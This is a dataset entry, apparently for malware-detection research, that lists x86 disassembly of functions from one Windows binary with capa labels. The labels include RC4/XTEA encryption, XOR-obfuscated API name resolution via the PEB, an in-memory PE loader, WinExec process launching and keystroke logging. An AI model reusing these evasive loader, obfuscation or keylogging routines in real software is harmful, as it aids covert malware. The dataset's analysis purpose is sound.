joyce8/EMBER2024-capa huggingface dataset:
Function at 0x5c57c0
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 8]
push edi
xor edi, edi
test eax, eax
je 0x5c586b
mov eax, dword [ebp + 0xc]
test eax, eax
je 0x5c586b
mov edx, dword [ebp + 0x10]
test edx, edx
je 0x5c586b
xor eax, eax
lea ecx, [edx + 8]
mov byte [ecx + eax], al
inc eax
cmp eax, 0x100
jl 0x5c57ed
mov eax, 0xfffffff8
push ebx
sub eax, edx
push esi
mov dword [ebp - 4], eax
add eax, ecx
mov esi, dword [ebp + 8]
cdq
idiv dword [ebp + 0xc]
mov bl, byte [ecx]
xor eax, eax
mov al, byte [edx + esi]
mov edx, ebx
and edx, 0xff
add edi, eax
add edi, edx
and edi, 0x800000ff
jns 0x5c5830
dec edi
or edi, 0xffffff00
inc edi
mov eax, dword [ebp + 0x10]
inc ecx
mov dl, byte [eax + edi + 8]
lea esi, [eax + 8]
mov eax, dword [ebp - 4]
mov byte [ecx - 1], dl
mov byte [esi + edi], bl
lea edx, [eax + ecx]
cmp edx, 0x100
jl 0x5c5804
mov eax, dword [ebp + 0x10]
mov ecx, 0x40
lea edi, [eax + 0x108]
mov dword [eax + 0x208], 0
rep movsd dword es:[edi], dword [esi]
pop esi
pop ebx
pop edi
mov esp, ebp
pop ebp
ret
Function at 0x5c5870
Capabilities:
Encrypt data using rc4 ksa
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0xc]
push ebx
test eax, eax
je 0x5c59d3
mov eax, dword [ebp + 0x10]
test eax, eax
je 0x5c59d3
mov ebx, dword [ebp + 8]
test ebx, ebx
je 0x5c59d3
mov eax, dword [ebp + 0x14]
mov ecx, dword [ebx + 0x208]
push esi
cmp ecx, eax
push edi
je 0x5c590d
lea edi, [ebx + 8]
lea esi, [ebx + 0x108]
mov ecx, 0x40
xor edx, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, 0xffff
mov dword [ebx + 0x208], eax
div ecx
mov dword [ebx], 0
mov dword [ebx + 4], 0
test edx, edx
jbe 0x5c590a
mov edi, edx
mov eax, dword [ebx]
mov esi, dword [ebx + 4]
inc eax
xor ecx, ecx
and eax, 0xff
mov dword [ebx], eax
mov dl, byte [eax + ebx + 8]
add esi, edx
and esi, 0xff
dec edi
mov dword [ebx + 4], esi
mov cl, byte [eax + ebx + 8]
mov dl, byte [esi + ebx + 8]
mov byte [eax + ebx + 8], dl
mov eax, dword [ebx + 4]
mov byte [ebx + eax + 8], cl
jne 0x5c58d6
mov eax, dword [ebp + 0x14]
mov edx, dword [ebp + 0x10]
test edx, edx
jbe 0x5c59c0
mov ecx, dword [ebp + 0xc]
lea edi, [ebx + 8]
sub eax, ecx
mov dword [ebp + 0x14], ecx
mov dword [ebp + 8], eax
mov dword [ebp + 0xc], edx
jmp 0x5c592e
mov eax, dword [ebp + 8]
add eax, ecx
xor edx, edx
mov ecx, 0xffff
div ecx
test edx, edx
jne 0x5c594f
lea esi, [ebx + 0x108]
mov ecx, 0x40
mov dword [ebx], edx
mov dword [ebx + 4], edx
rep movsd dword es:[edi], dword [esi]
mov eax, dword [ebx]
mov esi, dword [ebx + 4]
inc eax
lea edi, [ebx + 8]
and eax, 0xff
mov dword [ebx], eax
mov dl, byte [eax + edi]
add esi, edx
xor edx, edx
and esi, 0xff
mov dword [ebx + 4], esi
mov dl, byte [eax + edi]
mov cl, byte [esi + edi]
mov byte [eax + edi], cl
mov eax, dword [ebx + 4]
mov byte [ebx + eax + 8], dl
mov ecx, dword [ebx]
mov eax, dword [ebx + 4]
xor edx, edx
mov dl, byte [ecx + ebx + 8]
xor ecx, ecx
mov cl, byte [ebx + eax + 8]
add edx, ecx
and edx, 0x800000ff
jns 0x5c59a2
dec edx
or edx, 0xffffff00
inc edx
mov ecx, dword [ebp + 0x14]
mov dl, byte [edx + ebx + 8]
mov al, byte [ecx]
xor al, dl
mov byte [ecx], al
mov eax, dword [ebp + 0xc]
inc ecx
dec eax
mov dword [ebp + 0x14], ecx
mov dword [ebp + 0xc], eax
jne 0x5c592b
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebx + 0x208]
add ecx, eax
pop edi
mov dword [ebx + 0x208], ecx
pop esi
pop ebx
pop ebp
ret
Function at 0x5c5fb0
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov dword [ebp - 4], 0
pushal
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0x1c]
mov eax, dword [eax]
mov eax, dword [eax + 8]
mov dword [ebp - 4], eax
popal
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x5c96d0
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, dword [esp + 0x10]
test esi, esi
jle 0x5c96f2
mov eax, dword [esp + 8]
mov ecx, dword [esp + 0xc]
push ebx
sub ecx, eax
mov dl, byte [ecx + eax]
mov bl, byte [eax]
xor bl, dl
mov byte [eax], bl
inc eax
dec esi
jne 0x5c96e4
pop ebx
pop esi
ret

Function at 0x5c9700
Capabilities:
Encode data using xor
Encrypt data using xtea

Disassembly:
mov ecx, dword [esp + 4]
push ebx
push ebp
push esi
mov edx, dword [ecx + 4]
mov ecx, dword [ecx]
mov esi, dword [esp + 0x1c]
xor eax, eax
push edi
xor ecx, esi
mov esi, dword [esp + 0x1c]
mov edi, 0x20
mov ebx, edx
mov ebp, edx
shr ebx, 5
shl ebp, 4
xor ebx, ebp
mov ebp, eax
and ebp, 3
add ebx, edx
mov ebp, dword [esi + ebp*4]
add ebp, eax
sub eax, 0x61c88647
xor ebx, ebp
add ecx, ebx
mov ebx, ecx
mov ebp, ecx
shr ebx, 5
shl ebp, 4
xor ebx, ebp
mov ebp, eax
shr ebp, 0xb
and ebp, 3
add ebx, ecx
mov ebp, dword [esi + ebp*4]
add ebp, eax
xor ebx, ebp
add edx, ebx
dec edi
jne 0x5c971e
mov eax, dword [esp + 0x18]
pop edi
pop esi
pop ebp
mov dword [eax], ecx
mov dword [eax + 4], edx
pop ebx
ret

Function at 0x5c9770
Capabilities:
Encode data using xor
Encrypt data using xtea

Disassembly:
mov eax, dword [esp + 4]
push ebx
push ebp
push esi
mov ecx, dword [eax]
mov edx, dword [eax + 4]
mov esi, dword [esp + 0x18]
push edi
mov eax, 0xc6ef3720
mov edi, 0x20
mov ebx, ecx
mov ebp, ecx
shr ebx, 5
shl ebp, 4
xor ebx, ebp
mov ebp, eax
shr ebp, 0xb
and ebp, 3
add ebx, ecx
mov ebp, dword [esi + ebp*4]
add ebp, eax
add eax, 0x61c88647
xor ebx, ebp
sub edx, ebx
mov ebx, edx
mov ebp, edx
shr ebx, 5
shl ebp, 4
xor ebx, ebp
mov ebp, eax
and ebp, 3
add ebx, edx
mov ebp, dword [esi + ebp*4]
add ebp, eax
xor ebx, ebp
sub ecx, ebx
dec edi
jne 0x5c978b
mov eax, dword [esp + 0x20]
pop edi
xor ecx, eax
mov eax, dword [esp + 0x14]
pop esi
pop ebp
mov dword [eax], ecx
mov dword [eax + 4], edx
pop ebx
ret
Function at 0x5c9f40
Capabilities:
Parse pe header

Disassembly:
push ebx
push ebp
mov ebp, dword [esp + 0xc]
push esi
push edi
cmp word [ebp], 0x5a4d
je 0x5c9f57
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
ret
mov ebx, dword [ebp + 0x3c]
add ebx, ebp
cmp dword [ebx], 0x4550
je 0x5c9f6b
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
ret
mov eax, dword [ebx + 0x50]
mov ecx, dword [ebx + 0x34]
mov esi, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push 4
push 0x3000
push eax
push ecx
call esi
mov edi, eax
test edi, edi
jne 0x5c9fa1
mov edx, dword [ebx + 0x50]
push 4
push 0x3000
push edx
push eax
call esi
mov edi, eax
test edi, edi
jne 0x5c9fa1
pop edi
pop esi
pop ebp
pop ebx
ret
push 0x14
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
xor eax, eax
push 4
push 0x1000
mov dword [esi + 4], edi
mov dword [esi + 0xc], eax
mov dword [esi + 8], eax
mov dword [esi + 0x10], eax
mov eax, dword [ebx + 0x50]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, dword [ebx + 0x54]
push 4
push 0x1000
push ecx
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edx, dword [ebp + 0x3c]
mov ecx, dword [ebx + 0x54]
add edx, ecx
mov dword [esp + 0x14], eax
push edx
push ebp
push eax
call fcn.005c92b0
mov eax, dword [ebp + 0x3c]
mov ecx, dword [esp + 0x20]
add eax, ecx
push esi
push ebx
mov dword [esi], eax
push ebp
mov dword [eax + 0x34], edi
call fcn.005ca080
mov ecx, dword [ebx + 0x34]
mov eax, edi
add esp, 0x18
sub eax, ecx
je 0x5ca026
push eax
push esi
call fcn.005ca2a0
add esp, 8
push esi
call fcn.005ca320
add esp, 4
test eax, eax
je 0x5ca056
push esi
call fcn.005ca140
mov edx, dword [esi]
add esp, 4
mov eax, dword [edx + 0x28]
test eax, eax
je 0x5ca06d
add eax, edi
test eax, eax
je 0x5ca056
push 0
push 1
push edi
call eax
test eax, eax
jne 0x5ca066
push esi
call fcn.005c9a10
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
ret
mov dword [esi + 0x10], 1
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
ret
Function at 0x5ca080
Capabilities:
Enumerate pe sections

Disassembly:
push ecx
mov eax, dword [esp + 0x10]
push ebx
xor ecx, ecx
push esi
mov ebx, dword [eax + 4]
mov eax, dword [eax]
mov dword [esp + 8], 0
mov cx, word [eax + 0x14]
cmp word [eax + 6], 0
lea esi, [ecx + eax + 0x18]
jbe 0x5ca130
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
add esi, 0x10
cmp dword [esi], 0
jne 0x5ca0e5
mov edx, dword [esp + 0x1c]
mov edi, dword [edx + 0x38]
test edi, edi
jle 0x5ca112
mov eax, dword [esi - 4]
push 4
push 0x1000
add eax, ebx
push edi
push eax
call ebp
push edi
push 0
push eax
mov dword [esi - 8], eax
call fcn.005c92d0
add esp, 0xc
jmp 0x5ca112
mov edx, dword [esi - 4]
mov ecx, dword [esi]
push 4
push 0x1000
add edx, ebx
push ecx
push edx
call ebp
mov ecx, dword [esi + 4]
mov edi, eax
mov eax, dword [esi]
push eax
mov eax, dword [esp + 0x1c]
add ecx, eax
push ecx
push edi
call fcn.005c92b0
add esp, 0xc
mov dword [esi - 8], edi
mov edx, dword [esp + 0x20]
mov eax, dword [esp + 0x10]
inc eax
add esi, 0x28
mov ecx, dword [edx]
xor edx, edx
mov dword [esp + 0x10], eax
mov dx, word [ecx + 6]
cmp eax, edx
jl 0x5ca0b4
pop edi
pop ebp
pop esi
pop ebx
pop ecx
ret
Function at 0x5ca140
Capabilities:
Access peb ldr_data
Encode data using xor
Get kernel32 base address

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [ebp + 8]
xor ecx, ecx
mov byte [ebp - 0x1c], 0x47
mov byte [ebp - 0x1b], 0x4b
mov eax, dword [eax]
mov byte [ebp - 0x1a], 0x41
mov byte [ebp - 0x19], 0x30
mov byte [ebp - 0x18], 0x20
mov byte [ebp - 0x17], 7
mov byte [ebp - 0x16], 0x1b
mov byte [ebp - 0x15], 0xd8
mov byte [ebp - 0x14], 0xeb
mov byte [ebp - 0x13], 0xc5
mov byte [ebp - 0x12], 0xcf
mov byte [ebp - 0x11], 0xa9
mov byte [ebp - 0x10], 0xbe
mov byte [ebp - 0xf], 0x9a
mov byte [ebp - 0xe], 0xff
mov byte [ebp - 0xd], 0
mov cx, word [eax + 0x14]
push ebx
push esi
lea edx, [ecx + eax + 0x18]
push edi
mov dword [ebp - 8], edx
pushal
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0x1c]
mov eax, dword [eax]
mov eax, dword [eax + 8]
mov dword [ebp - 4], eax
popal
xor ecx, ecx
mov al, cl
mov dl, 0x11
inc al
mov bl, byte [ebp + ecx - 0x1c]
imul dl
xor bl, al
mov byte [ebp + ecx - 0x1c], bl
inc ecx
cmp ecx, 0x10
jb 0x5ca1b3
mov ecx, dword [ebp - 4]
lea eax, [ebp - 0x1c]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edx, dword [ebp + 8]
mov dword [ebp - 0xc], eax
mov dword [ebp - 4], 0
mov ebx, dword [edx]
cmp word [ebx + 6], 0
jbe 0x5ca28d
mov eax, dword [ebp - 8]
lea edi, [eax + 0x24]
mov eax, dword [edi]
mov ecx, eax
mov edx, eax
shr ecx, 0x1d
shr edx, 0x1e
mov esi, eax
and ecx, 1
and edx, 1
shr esi, 0x1f
test eax, 0x2000000
je 0x5ca22c
mov ecx, dword [edi - 0x14]
mov edx, dword [edi - 0x1c]
push 0x4000
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_VirtualFree]
jmp 0x5ca270
lea ecx, [edx + ecx*2]
test eax, 0x4000000
lea edx, [esi + ecx*2]
mov esi, dword [edx*4 + 0x5bb600]
je 0x5ca246
or esi, 0x200
mov edx, dword [edi - 0x14]
mov ecx, edx
test ecx, ecx
jne 0x5ca261
test al, 0x40
je 0x5ca258
mov ecx, dword [ebx + 0x20]
jmp 0x5ca25f
test al, 0x80
je 0x5ca270
mov ecx, dword [ebx + 0x24]
test ecx, ecx
jbe 0x5ca270
mov ecx, dword [edi - 0x1c]
lea eax, [ebp - 8]
push eax
push esi
push edx
push ecx
call dword [ebp - 0xc]
mov edx, dword [ebp + 8]
mov eax, dword [ebp - 4]
xor ecx, ecx
inc eax
mov ebx, dword [edx]
add edi, 0x28
mov dword [ebp - 4], eax
mov cx, word [ebx + 6]
cmp eax, ecx
jl 0x5ca1f9
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x419190
Capabilities:
Enumerate files on windows

Disassembly:
push 0xffffffffffffffff
push 0x4764fb
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x180
push ebx
push ebp
mov ebp, ecx
lea ecx, [esp + 8]
lea eax, [ebp + 0x40]
push eax
call fcn.0046b0be
mov ecx, dword [esp + 8]
mov dword [esp + 0x190], 0
mov eax, dword [ecx - 8]
test eax, eax
je 0x419212
lea edx, [esp + 0x10]
push 1
push edx
lea ecx, [esp + 0x10]
call fcn.0046900d
mov eax, dword [eax]
push 0x4a41e0
push eax
call fcn.0045be94
add esp, 8
lea ecx, [esp + 0x10]
test eax, eax
setne bl
call fcn.0046b349
test bl, bl
je 0x419212
push 0x4a41e0
lea ecx, [esp + 0xc]
call fcn.0046b6d9
push 0x4a7d48
lea ecx, [esp + 0xc]
call fcn.0046b6d9
mov ecx, dword [esp + 8]
lea eax, [esp + 0x48]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
jne 0x41924e
lea ecx, [esp + 8]
mov dword [esp + 0x190], eax
call fcn.0046b349
jmp 0x419319
push esi
mov esi, dword [esp + 0x19c]
push edi
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
mov ebx, 0x23
test byte [esp + 0x50], 0x10
je 0x4192d2
lea edx, [esp + 0x7c]
push 0x4a7d44
push edx
call fcn.0045be94
add esp, 8
test eax, eax
je 0x4192d2
lea eax, [esp + 0x7c]
push 0x4a7d40
push eax
call fcn.0045be94
add esp, 8
test eax, eax
je 0x4192d2
mov eax, dword [ebp + 0x1c]
lea edx, [esp + 0x1c]
push edx
push 0
lea ecx, [esp + 0x84]
push 0x1100
push eax
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], 0xffff0003
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 1
mov dword [esp + 0x44], ecx
mov dword [esp + 0x34], ebx
call edi
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x50]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x419262
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp + 0x1c]
push esi
push 2
push 0x1102
push ecx
call edi
lea ecx, [esp + 0x10]
mov dword [esp + 0x198], 0xffffffff
call fcn.0046b349
pop edi
pop esi
mov ecx, dword [esp + 0x188]
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x18c
ret 4

Function at 0x419b10
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
sub esp, 0x10c
lea eax, [esp]
push esi
push eax
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x419b72
mov edx, dword [esp + 4]
lea eax, [esp + 8]
lea ecx, [esp + 0xc]
push eax
push ecx
push esi
push edx
mov dword [esp + 0x18], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [esp + 0x11c]
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 0x10c
ret 0xc
Function at 0x419b80
Capabilities:
Create process on windows

Disassembly:
push 0xffffffffffffffff
push 0x47657b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20c
mov eax, dword [0x4ae268]
push esi
push edi
mov edi, ecx
mov dword [esp + 8], eax
mov eax, dword [edi + 0x44]
mov dword [esp + 0x21c], 0
test eax, eax
jne 0x419cb8
mov ecx, dword [edi + 0x48]
lea esi, [edi + 0x48]
mov eax, dword [ecx - 8]
test eax, eax
jne 0x419be6
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.0046b349
xor eax, eax
jmp 0x419d2f
push str.mailto:
lea ecx, [esp + 0xc]
call fcn.0046b486
push esi
lea ecx, [esp + 0xc]
call fcn.0046b715
mov ecx, dword [esp + 8]
push ebx
push ebp
mov ebp, dword [esp + 0x22c]
push ebp
push 0
push 0
push ecx
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov esi, eax
cmp esi, 0x20
ja 0x419d0d
lea edx, [esp + 0x14]
mov ecx, edi
push edx
push str..htm
push accept
call fcn.00419b10
test eax, eax
jne 0x419d0d
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp + 0x14]
push str._shellopencommand
push eax
call ebx
lea ecx, [esp + 0x14]
lea edx, [esp + 0x14]
push ecx
push edx
push accept
mov ecx, edi
call fcn.00419b10
test eax, eax
jne 0x419d0d
lea eax, [esp + 0x14]
push 0x4a7d5c
push eax
call fcn.0045ced0
mov esi, eax
add esp, 8
test esi, esi
jne 0x419cec
lea ecx, [esp + 0x14]
push 0x4a7d58
push ecx
call fcn.0045ce50
mov esi, eax
add esp, 8
test esi, esi
jne 0x419cec
lea edx, [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea esi, [esp + eax + 0x13]
jmp 0x419cef
lea edx, [edi + 0x4c]
lea ecx, [esp + 8]
push edx
call fcn.0046b436
mov eax, dword [esp + 8]
mov ecx, dword [eax - 8]
test ecx, ecx
jne 0x419bfe
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.0046b349
xor eax, eax
jmp 0x419d2f
mov byte [esi], 0
push 0x4a7d54
push esi
call ebx
mov eax, dword [esp + 0x10]
push eax
push esi
call ebx
lea ecx, [esp + 0x14]
push ebp
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
mov esi, eax
xor edx, edx
cmp esi, 0x20
setg dl
lea ecx, [esp + 0x10]
mov esi, edx
mov dword [esp + 0x224], 0xffffffff
call fcn.0046b349
pop ebp
mov eax, esi
pop ebx
mov ecx, dword [esp + 0x214]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x218
ret 4
Function at 0x42c100
Capabilities:
Log keystrokes via polling

Disassembly:
mov eax, dword [esp + 4]
push esi
push edi
mov edi, dword [sym.imp.USER32.dll_GetKeyState]
mov cl, byte [eax + 8]
and ecx, 0xff
mov esi, ecx
cmp si, 0x60
jb 0x42c16e
cmp si, 0x69
ja 0x42c16e
add esi, 0xffd0
cmp si, 0x11
je 0x42c13e
push 0x11
call edi
test ax, ax
jge 0x42c13e
or esi, 0x2000
cmp si, 0x10
je 0x42c153
push 0x10
call edi
test ax, ax
jge 0x42c153
or esi, 0x4000
cmp si, 0x12
je 0x42c168
push 0x12
call edi
test ax, ax
jge 0x42c168
or esi, 0x8000
mov ax, si
pop edi
pop esi
ret
cmp si, 0x6d
jne 0x42c17b
mov esi, 0xbd
jmp 0x42c12f
cmp si, 0x6e
jne 0x42c188
mov esi, 0xbe
jmp 0x42c12f
cmp si, 0x6f
jne 0x42c129
mov esi, 0xbf
jmp 0x42c12f

Function at 0x42d8a0
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ecx
mov eax, dword [0x4be8e8]
xor edx, edx
cmp eax, edx
jne 0x42d8c6
xor eax, eax
mov byte [eax + 0x4be7e8], al
inc eax
cmp eax, 0x100
jl 0x42d8ae
mov dword [0x4be8e8], 1
mov eax, dword [esp + 0xc]
push ebx
mov ebx, dword [esp + 0x14]
push esi
push edi
mov ecx, 0x40
mov esi, 0x4be7e8
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
cmp eax, edx
mov byte [ebx + 0x100], dl
mov byte [ebx + 0x101], dl
jle 0x42d957
xor esi, esi
push ebp
mov byte [esp + 0x20], dl
xor ecx, ecx
mov edi, dword [esp + 0x20]
mov ebp, dword [esp + 0x18]
mov al, byte [esi + ebx]
and edi, 0xff
xor edx, edx
mov dl, byte [edi + ebp]
mov ebp, eax
and ebp, 0xff
add ecx, edx
add ecx, ebp
and ecx, 0x800000ff
jns 0x42d92a
dec ecx
or ecx, 0xffffff00
inc ecx
mov byte [esp + 0x10], cl
mov ecx, dword [esp + 0x10]
and ecx, 0xff
mov dl, byte [ecx + ebx]
mov byte [esi + ebx], dl
mov byte [ecx + ebx], al
lea eax, [edi + 1]
cdq
idiv dword [esp + 0x1c]
inc esi
cmp esi, 0x100
mov byte [esp + 0x20], dl
jl 0x42d8f8
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret

Function at 0x42d9d0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
mov cl, byte [eax + 0x100]
mov dl, byte [eax + 0x101]
mov dword [ebp - 8], eax
mov byte [ebp - 1], cl
mov byte [ebp - 2], dl
xor ebx, ebx
mov bl, byte [ebp - 1]
xor edx, edx
mov dl, byte [ebp - 2]
mov esi, dword [ebp - 8]
mov edi, dword [ebp + 8]
xor eax, eax
mov ecx, dword [ebp + 0xc]
test ecx, ecx
jle 0x42da23
inc bl
mov al, byte [esi + ebx]
add dl, al
xchg byte [esi + edx], al
mov byte [esi + ebx], al
add al, byte [esi + edx]
mov al, byte [esi + eax]
xor byte [edi], al
inc edi
dec ecx
jne 0x42da0a
mov byte [ebp - 1], bl
mov byte [ebp - 2], dl
mov eax, dword [ebp + 0x10]
mov cl, byte [ebp - 1]
mov dl, byte [ebp - 2]
pop edi
pop esi
mov byte [eax + 0x100], cl
mov byte [eax + 0x101], dl
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x434460
Capabilities:
Enumerate pe sections

Disassembly:
sub esp, 0x18
mov eax, dword [esp + 0x1c]
push ebx
push ebp
push esi
xor esi, esi
xor ecx, ecx
mov si, word [eax + 8]
mov cx, word [eax + 4]
xor ebp, ebp
xor edx, edx
mov bp, word [eax + 0xa]
mov dx, word [eax + 6]
sub esi, ecx
sub ebp, edx
inc esi
xor ebx, ebx
inc ebp
cmp esi, ebx
mov dword [esp + 0x14], esi
jle 0x4345f8
cmp ebp, ebx
jle 0x4345f8
mov eax, esi
push edi
cdq
and edx, 7
add eax, edx
mov edi, eax
mov eax, esi
sar edi, 3
and eax, 0x80000007
mov dword [esp + 0x10], edi
jns 0x4344be
dec eax
or eax, 0xfffffff8
inc eax
je 0x4344c5
inc edi
mov dword [esp + 0x10], edi
mov ecx, edi
and ecx, reloc.WS2_32.dll_accept
jns 0x4344d4
dec ecx
or ecx, 0xfffffffe
inc ecx
je 0x4344db
inc edi
mov dword [esp + 0x10], edi
push 0x18
call fcn.0046b08a
add esp, 4
cmp eax, ebx
je 0x4344fc
mov dword [eax], ebx
mov dword [eax + 4], ebx
mov dword [eax + 8], ebx
mov dword [eax + 0xc], ebx
mov dword [eax + 0x10], ebx
mov dword [eax + 0x14], ebx
mov ebx, eax
mov eax, edi
mov dword [esp + 0x14], ebx
imul eax, ebp
push eax
mov dword [ebx], 7
mov dword [ebx + 4], esi
mov dword [ebx + 8], ebp
mov dword [ebx + 0x14], eax
call fcn.0046b08a
mov ecx, dword [ebx + 0x14]
mov edi, eax
mov edx, ecx
xor eax, eax
shr ecx, 2
mov dword [ebx + 0x10], edi
add esp, 4
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
mov eax, dword [esp + 0x2c]
test ebp, ebp
lea edx, [eax + 0x80]
jle 0x4345ee
xor eax, eax
mov dword [esp + 0x20], ebp
mov dword [esp + 0x1c], eax
mov ebp, dword [ebx + 0x10]
xor ecx, ecx
add ebp, eax
mov dword [esp + 0x2c], ecx
test esi, esi
jle 0x4345d5
mov al, byte [edx]
cmp al, 0xc0
jbe 0x4345c1
and eax, 0xff
sub eax, 0xc0
inc edx
mov esi, eax
mov dword [esp + 0x24], edx
cmp esi, 1
jle 0x4345b6
xor eax, eax
mov ecx, esi
mov al, byte [edx]
mov edx, ecx
mov bl, al
mov edi, ebp
mov bh, bl
dec esi
mov eax, ebx
shl eax, 0x10
mov ax, bx
mov ebx, dword [esp + 0x14]
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
mov edx, dword [esp + 0x24]
and ecx, 3
add ebp, esi
rep stosb byte es:[edi], al
mov eax, dword [esp + 0x2c]
lea ecx, [eax + esi*8]
mov esi, dword [esp + 0x18]
jmp 0x4345c4
mov al, byte [edx]
mov esi, dword [esp + 0x18]
mov byte [ebp], al
jmp 0x4345c4
mov byte [ebp], al
inc ebp
add ecx, 8
inc edx
cmp ecx, esi
mov dword [esp + 0x2c], ecx
jl 0x434560
mov eax, dword [esp + 0x1c]
mov edi, dword [esp + 0x10]
mov ecx, dword [esp + 0x20]
add eax, edi
dec ecx
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], ecx
jne 0x434551
pop edi
pop esi
mov eax, ebx
pop ebp
pop ebx
add esp, 0x18
ret
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x18
ret
Function at 0x437610
Capabilities:
Access peb ldr_data

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x477d38
push eax
mov dword fs:[0], esp
sub esp, 0x28
push esi
push edi
mov edi, dword [esp + 0x44]
mov esi, ecx
test edi, edi
jne 0x437649
pop edi
xor eax, eax
pop esi
mov ecx, dword [esp + 0x28]
mov dword fs:[0], ecx
add esp, 0x34
ret 0x24
push 0x400
lea ecx, [esp + 0xc]
call fcn.00472a37
mov eax, dword [esp + 0x40]
push 0
push edi
push eax
lea ecx, [esp + 0x14]
mov dword [esp + 0x44], 0
call fcn.00472a83
mov ecx, dword [esp + 0x60]
mov edx, dword [esp + 0x5c]
mov eax, dword [esp + 0x58]
push ecx
mov ecx, dword [esp + 0x58]
push edx
mov edx, dword [esp + 0x58]
push eax
mov eax, dword [esp + 0x58]
push ecx
mov ecx, dword [esp + 0x58]
push edx
push eax
lea edx, [esp + 0x20]
push ecx
push edx
mov ecx, esi
call fcn.004376d0
lea ecx, [esp + 8]
mov esi, eax
mov dword [esp + 0x38], 0xffffffff
call fcn.00472ac0
mov ecx, dword [esp + 0x30]
mov eax, esi
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x34
ret 0x24